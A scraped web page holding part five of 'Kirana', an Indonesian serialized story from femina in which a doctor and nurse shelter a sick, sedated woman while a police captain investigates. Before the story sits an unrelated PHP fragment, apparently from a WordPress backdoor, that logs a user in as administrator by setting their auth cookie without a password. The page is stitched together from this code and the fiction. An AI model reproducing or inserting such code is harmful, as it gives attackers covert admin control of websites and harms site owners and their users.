user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Fiction
Kirana [5]

4 Jul 2011

<< cerita sebelumnya

“Inang Dayu selalu menyuntikku, bila aku berteriak-teriak minta tolong. Terlebih, jika setelah mimpi itu, aku makin takut mati....”

Wanita itu mulai menangis lagi. Suster Meida membujuknya dengan kata-kata lembut, agar ia segera menghentikan tangisannya. Bisa gawat kalau kedengaran orang yang lewat.

“Mimpi itu, mengapa aku selalu mimpi aku dan bayiku tenggelam di danau itu. Aku takut... takut sekali.”

Astaga... betapa mengerikan. Siapa pun yang mengalami mimpi semacam itu, pasti akan menderita. Sia-sia Suster Meida berusaha menghentikan tangisan Kirana. Tampaknya emosi wanita ini memang tidak stabil, atau setidaknya ia telah mengalami banyak hal buruk dalam kehidupannya. Jadi, agar situasi menjadi jauh lebih tenang dan aman bagi kami, terpaksa aku menyuntikkan obat penenang pada Kirana melalui selang infusnya. Dalam hitungan detik ia kemudian berangsur tenang. Suster Meida menghela napas lega. Aku memperhatikan wajah Kirana yang berkerut menahan sakit. Begitu rapuh dan mengkhawatirkan.

Aku mengajak Suster Meida ke ruang tamu. Lalu kuceritakan pertemuanku dengan Kapten Prayoga tadi di puskesmas. Suster Meida cukup terkejut mendengar bahwa sekarang di seluruh sudut Sumberpodang sedang ditelusuri demi seorang Kirana.

“Kita berurusan dengan masalah besar, Sus,” aku memandangnya.

”Maafkan saya, Dok. Saya hanya merasa kasihan padanya.”

“Lepas dari rasa kasihan atau penasaranmu, sebaiknya kita segera menghubungi polisi agar kita tidak dituduh menculik.”

Sejujurnya, aku juga tidak tega melepaskan Kirana pada orang lain tanpa penanganan medis yang benar. Tanpa perlu mengetahui latar belakang atau pengalaman apa yang terjadi sebelumnya, tidaklah adil membiarkan seseorang yang nyata-nyata sakit dan membutuhkan perawatan. Atau, memang sengaja diabaikan, agar ia merasakan sakit sebagai balasan atas perbuatannya dulu.

Begitu kejamkah cinta menyakiti hati? Aku harus lebih banyak bersyukur pada Tuhan, karena dijauhkan dari rasa benci, jika dibandingkan dengan penderitaan Kirana saat ini. Sakit yang membutakan hati, membunuh perasaan serta meniadakan akal sehat.

Perutku berbunyi. Astaga... sudah lebih dari setengah hari kami belum makan. Aku pamit untuk mencari makan kepada Suster Meida yang sedang mengusapkan salep pereda nyeri pada pergelangan kaki Kirana yang tertidur lelap. Aku menyuruhnya mengun¬ci pintu segera setelah aku keluar.

Aku berdiri cukup lama di luar. Sebenarnya aku mengkhawatirkan Suster Meida dan Kirana, jika kutinggalkan setelah mengetahui perkembangan berita yang begitu cepat. Jika polisi yang datang, aku tidak terlalu cemas. Tetapi, yang kutakutkan adalah jika Herlambang sendiri yang datang.

“Mau pergi, Dok?” sebuah suara mengejutkanku.

Aku melonjak kaget sampai kunci mobilku jatuh. Aku merapat ke mobil, mencari asal suara yang membuat adrenalinku naik dengan cepat itu. Dari rerimbunan bugenvil, muncul sesosok tubuh tinggi tegap, yang kemudian setelah dekat kukenal sebagai Kapten Prayoga. Kurang ajar sekali.

“Kau membuntutiku rupanya? Sudah berapa lama kau berdiri di sana?” tanyaku gusar, sambil mengatur nafas lagi.

Aku membungkuk untuk mencari-cari kunci mobilku yang jatuh. Kapten Prayoga ikut membungkuk, aku beringsut menjauh darinya karena kesal. Ia merogoh jaketnya, mengeluarkan senter kecil, lalu menyorotkannya ke kolong mobil. Kunci itu tergeletak di bawah ban kiri depan.

“Rasanya kita harus bicara, Dok.” Ia menatapku, saat meletakkan kunci itu di tanganku. Aku menghela napas. Ia sudah mengetahuinya. Jadi, aku mengajaknya masuk ke dalam rumah.

Suster Meida tampak terkejut melihatku berdiri di pintu bersama Kapten Prayoga. Wajahnya memucat dari balik jendela. Aku menyuruhnya membuka pintu. Ia sangat gugup, ketika kami masuk.

Kapten Prayoga mengawasi keadaan luar, sebelum masuk ke dalam rumah.

“Di mana kalian menyembunyikannya?” tanpa basa-basi ia bertanya.

Suster Meida gemetaran.

“Dia... tiba-tiba ada di dalam mobil... kami tidak membawanya....”

Advertisement
Jika dibandingkan dengan kegigihannya menolong Kirana siang tadi, sikap yang ditunjukkan Suster Meida sangat bertolak belakang. Aku menyuruhnya duduk menenangkan diri. Lalu, kuajak polisi itu ke dalam kamar. Kapten Prayoga mengikutiku dari belakang.

Pria itu mengamati seluruh kamarku. Kemudian ia mendekati si sakit yang tergeletak lemah di atas tempat tidur. Ia memperhatikan dengan seksama, mulai dari ujung kepala sampai ujung kakinya.

“Dehidrasi, kurang gizi. Injeksi penenang, karena dia histeris,” aku menjelaskan tanpa diminta, saat ia menyentuh kantong infus.

Pria itu memeriksa luka di lengan kiri Kirana. Kutunjukkan juga padanya luka pada kedua pergelangan kakinya. Ia mengerutkan alisnya seperti sedang berpikir. Tanpa berkata-kata, ia keluar kamar. Aku mengikutinya dari belakang. Polisi itu duduk di sofaku yang membuatnya seperti duduk di sebuah bangku anak TK.

“Kau akan membawanya?” aku memburunya dengan pertanyaan yang dikhawatirkan Suster Meida.

“Tidak untuk saat ini. Kupikir ia lebih baik berada di sini.”

“Mengapa begitu?” aku jadi penasaran.

Ia mengerutkan alisnya. “Entahlah. Aku cukup mengenal Ibu Kirana, tapi instingku mengatakan bahwa wanita itu bukan dia.“

Aku dan Suster Meida saling berpandangan dengan kaget. Kapten Prayoga menghela napasnya.

“Aku akan menempatkan satu orang petugas untuk menjaga kalian dari jauh. Aku minta pada kalian untuk menjaga wanita itu baik-baik. Ia bisa menjadi saksi penting.”

“Saksi? Atas perkara apa?” aku jadi makin penasaran.
“Aku tidak bisa katakan sekarang. Adakah yang ia ceritakan sesuatu pada kalian?”

Aku dan Suster Meida menceritakan apa saja yang kami ketahui dan kami alami. Kapten Prayoga mencatatnya pada sebuah notes. Ia membiarkan kami bercerita sesuka kami. Sesekali saja ia memberi pertanyaan atau mempertegas pernyataan kami, sehingga kami tidak merasa sedang diinterogasi. Tahu-tahu, waktu telah menunjukkan pukul delapan. Perutku terasa melilit oleh rasa lapar yang sangat.

“Kalau sudah cukup, bolehkah kami pergi mencari makan?”

Kapten Prayoga tampak terkejut.

“Kau belum makan? Sejak siang tadi? Ya, ampun. Kalian mau dibelikan apa?” Ia mengangkat ponselnya.

“Tidak perlu, aku beli di luar saja sebelum warung-warung tutup.”

Ia tidak menghiraukanku. Kapten Prayoga berbicara cepat pada seseorang. Dalam hitungan menit kami sudah mendengar bunyi klakson tiga kali dari depan rumah. Kapten Prayoga berjalan ke jendela. Mungkin ia memberikan kode. Kemudian kami melihat percikan api di rumpun bugenvil sebagai konfirmasi keberadaan si penjaga. Memang rumahku sudah dikepung polisi rupanya.

Suster Meida tinggal di rumah menjaga Kirana, sedang aku dan Kapten Prayoga pergi mencari makan sebelum warung-warung tutup. Yang agak menyebalkan adalah aku harus pergi bersama polisi ini. Naik jipnya pula. Aku merasa seperti tersangka kejahatan saja.
“Akhirnya kita bisa hang out, Dok.”

So sweet....

Ia membawaku ke warung satai yang masih buka. Kami memesan satu porsi lontong dan satai ayam untuk Suster Meida, dan dua porsi dimakan di tempat.

Kemudian, ia mempersilakan aku makan lebih dulu, saat satu porsi pertama matang. Dan, aku juga bukan orang yang suka jaga image. Perutku lapar. Kapten Prayoga mulai menceritakan kecurigaannya pada Herlambang. Menurutnya, tidak ada seorang suami di dunia ini yang akan membiarkan istrinya berselingkuh dengan pria lain. Kecuali, kalau pria itu memiliki rencana gila.


Penulis: Shanty D. Rilmira
Pemenang Penghargaan Sayembara Mengarang Cerber femina 2008




 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?